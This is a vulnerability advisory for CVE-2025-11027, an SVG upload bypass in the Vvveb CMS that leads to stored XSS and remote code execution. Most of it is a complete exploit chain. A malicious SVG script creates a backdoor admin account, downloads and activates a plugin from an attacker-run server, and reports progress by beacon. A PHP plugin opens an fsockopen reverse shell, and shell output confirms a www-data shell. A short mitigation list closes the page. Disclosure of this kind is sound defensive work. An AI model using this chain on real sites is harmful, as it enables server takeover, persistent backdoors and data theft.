| Type | software |
| Product Environment | web |
| Product Name | Vvveb |
| Product Vendor | givanz |
| Product Version | 1.0.7.2 |
| Product Link | https://www.vvveb.com |
| Vulnerability Name | SVG File Cross Site Scripting |
| Severity | Critical |
|
CVSS String
|
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| CVSS Score | 9.0 |
| CVE ID | CVE-2025-11027 |
| Vendor Acknowledgement | Yes |
|
Affected digital Assets
|
257 |
|
Affected Users
|
25700 |
| Date of Reporting | 09/17/2025 |
| PoC Exploit | https://gist.github.com/KhanMarshaI/b90045ee823866a52f33615776b5a6ec |
| Credit | KhanMarshai, 0xhamy |
Vvveb ≤ 1.0.7.2 is vulnerable to file upload bypass leading to stored cross-site scripting (XSS) and remote code execution (RCE). The application uses blacklist-based file extension validation that can be bypassed by appending special characters (e.g., /) to filenames. Attackers can upload malicious SVG+XML files containing JavaScript that executes when rendered. This XSS can be chained to create administrator accounts, upload malicious plugins, and achieve full server compromise through reverse shell payloads.
Vvveb's file upload mechanism relies on blacklisting file extensions without proper validation or sanitization. By appending special characters like / to the file extension (e.g., malicious.svg/), attackers can bypass the extension check and upload SVG files containing embedded JavaScript. SVG is an active document format supporting <script> tags and event handlers; when these files are rendered in the browser—either by direct viewing, embedding in iframes within posts/pages/products, or placement in plugin directories—the JavaScript executes in the application's security context.
This vulnerability affects multiple user roles with varying permissions:
The XSS can be triggered through multiple vectors:
Once triggered, the XSS payload can perform privileged actions including creating backdoor administrator accounts, downloading and uploading malicious plugins from attacker-controlled servers, activating those plugins, and establishing persistent remote access through reverse shells.
Affected Endpoints
http://localhost/admin/index.php?module=product/product&type=producthttp://localhost/admin/index.php?module=media/mediahttp://localhost/admin/index.php?module=content/post&type=pagehttp://localhost/admin/index.php?module=content/post&type=posthttp://localhost/admin/index.php?module=plugin/pluginsmedia/upload permissions (vendor, shop, contributor, author, or editor role)nc -lvnp 4444nc -lvnp 8000<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script><![CDATA[
(function () {
const REPORT_URL = 'http://127.0.0.1:4444/';
const FILE_SERVER = 'http://127.0.0.1:1234/';
const PLUGIN_FILENAME = 'test-plugin.zip';
const PLUGIN_NAME = 'test-plugin';
function report(msg) {
try {
navigator.sendBeacon(REPORT_URL, msg);
} catch (e) {
try { fetch(REPORT_URL, { method: 'POST', body: msg, keepalive: true }); } catch (e2) {}
}
}
function findCsrfToken() {
const metaNames = ['csrf-token', 'csrf_token', 'XSRF-TOKEN', 'xsrf-token'];
for (const name of metaNames) {
const m = document.querySelector('meta[name="' + name + '"]');
if (m && m.content) return m.content;
}
const inputNames = ['csrf_token', 'csrf', '_token', 'token'];
for (const n of inputNames) {
const el = document.querySelector('input[name="' + n + '"]');
if (el && el.value) return el.value;
}
return null;
}
function createAdmin() {
const newAdminData = 'action=save&admin%5Busername%5D=backdooruser2&admin%5Bfirst_name%5D=Backdoor&admin%5Blast_name%5D=User&admin%5Bemail%5D=backdoor2%40test.com&admin%5Bpassword%5D=newadmin123&admin%5Brole_id%5D=1';
return fetch('/admin/index.php?module=admin/user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
credentials: 'include',
body: newAdminData
}).then(res => res.text().then(t => ({ status: res.status, text: t })));
}
function downloadPlugin() {
return fetch(FILE_SERVER + PLUGIN_FILENAME + '?cb=' + Date.now(), { mode: 'cors' })
.then(response => response.blob().then(blob => ({ response, blob })));
}
function uploadPlugin(blob) {
const formData = new FormData();
formData.append('action', 'upload');
formData.append('file', blob, PLUGIN_FILENAME);
const csrf = findCsrfToken();
if (csrf) formData.append('csrf_token', csrf);
return fetch('/admin/index.php?module=plugin/plugins', {
method: 'POST',
credentials: 'include',
body: formData
}).then(res => res.text().then(t => ({ status: res.status, text: t })));
}
function activatePlugin() {
const actUrl = '/admin/index.php?module=plugin/plugins&action=activate&plugin=' + PLUGIN_NAME;
return fetch(actUrl, { credentials: 'include' }).then(r => r.text());
}
createAdmin().then(stage1 => {
report('STAGE 1 - Admin: SUCCESS | status:' + stage1.status);
return downloadPlugin();
}).then(dl => {
report('STAGE 2 - Download: blobSize=' + dl.blob.size);
return uploadPlugin(dl.blob);
}).then(uploadRes => {
report('STAGE 2 - Upload: status=' + uploadRes.status);
return activatePlugin();
}).then(actRes => {
report('STAGE 3 - Activation: SUCCESS');
setTimeout(() => { window.location.href = 'http://localhost/' + PLUGIN_NAME; }, 1500);
}).catch(err => {
report('ERROR: ' + err.message);
});
})();
]]></script>
<rect width="400" height="120" fill="#222"/>
<text x="50%" y="50%" font-size="16" text-anchor="middle" dy=".3em" fill="#fff">Patched Debug POC</text>
</svg>
http://localhost/admin/index.php?module=product/product&type=product/:Content-Disposition: form-data; name="files[]"; filename="malicious.svg/"
Content-Type: image/svg+xml
/public/media/1839-)<> button to edit source code<p>I am an evil product.</p>
<iframe width="800" height="200" src="http://localhost/public/media/1839-"></iframe>
http://localhost/product/malicious-productThe malicious SVG performs the following actions automatically:
Stage 1 – Create Backdoor Admin Account:
/admin/index.php?module=admin/userbackdooruser2 / newadmin123 with role_id=1STAGE 1 - Admin: SUCCESS | status:200Stage 2 – Download & Upload Malicious Plugin:
CORS Server:
from http.server import SimpleHTTPRequestHandler, HTTPServer
class CORSHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Headers", "Content-Type,Authorization")
SimpleHTTPRequestHandler.end_headers(self)
HTTPServer(("127.0.0.1", 1234), CORSHandler).serve_forever()
Malicious Plugin to serve from CORS server:
<?php
/**
* @package Test Plugin
* Name: Test plugin
* Slug: test-plugin
*/
use Vvveb\System\Routes;
class TestPlugin {
function app() {
Routes::addRoute('/test-plugin', ['module' => 'plugins/test-plugin/index/index']);
system('php -r \'$sock=fsockopen("10.0.2.15",8000);system("/bin/sh <&3 >&3 2>&3");\'');
}
function __construct() {
if (APP == 'app') {
$this->app();
}
}
}
$testPlugin = new TestPlugin();
test-plugin.zip from attacker's CORS server (http://127.0.0.1:1234/)/admin/index.php?module=plugin/plugins via multipart form dataSTAGE 2 - Upload result: status=200Stage 3 – Activate Malicious Plugin:
checkPluginAndActivate endpointactivate actionSTAGE 3 - Activation: SUCCESSStage 4 – Remote Code Execution:
app() function executes on page load: http://localhost/system('php -r \'$sock=fsockopen("10.0.2.15",8000);system("/bin/sh <&3 >&3 2>&3");\'');
www-data┌──(kali㉿kali)-[~/Downloads/vvveb]
└─$ ncat -lvnp 8000
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.18.0.3:41880.
whoami
www-data
pwd
/var/www/html
Confirm exploitation success:
backdooruser2 visible in user managementwhoami returns www-data<script> tags, event handlers, and external references.svg-sanitizer) to strip executable content before storage.script-src 'self'), restrict image sources (img-src 'self'), and serve user-uploaded content from a separate, cookieless domain.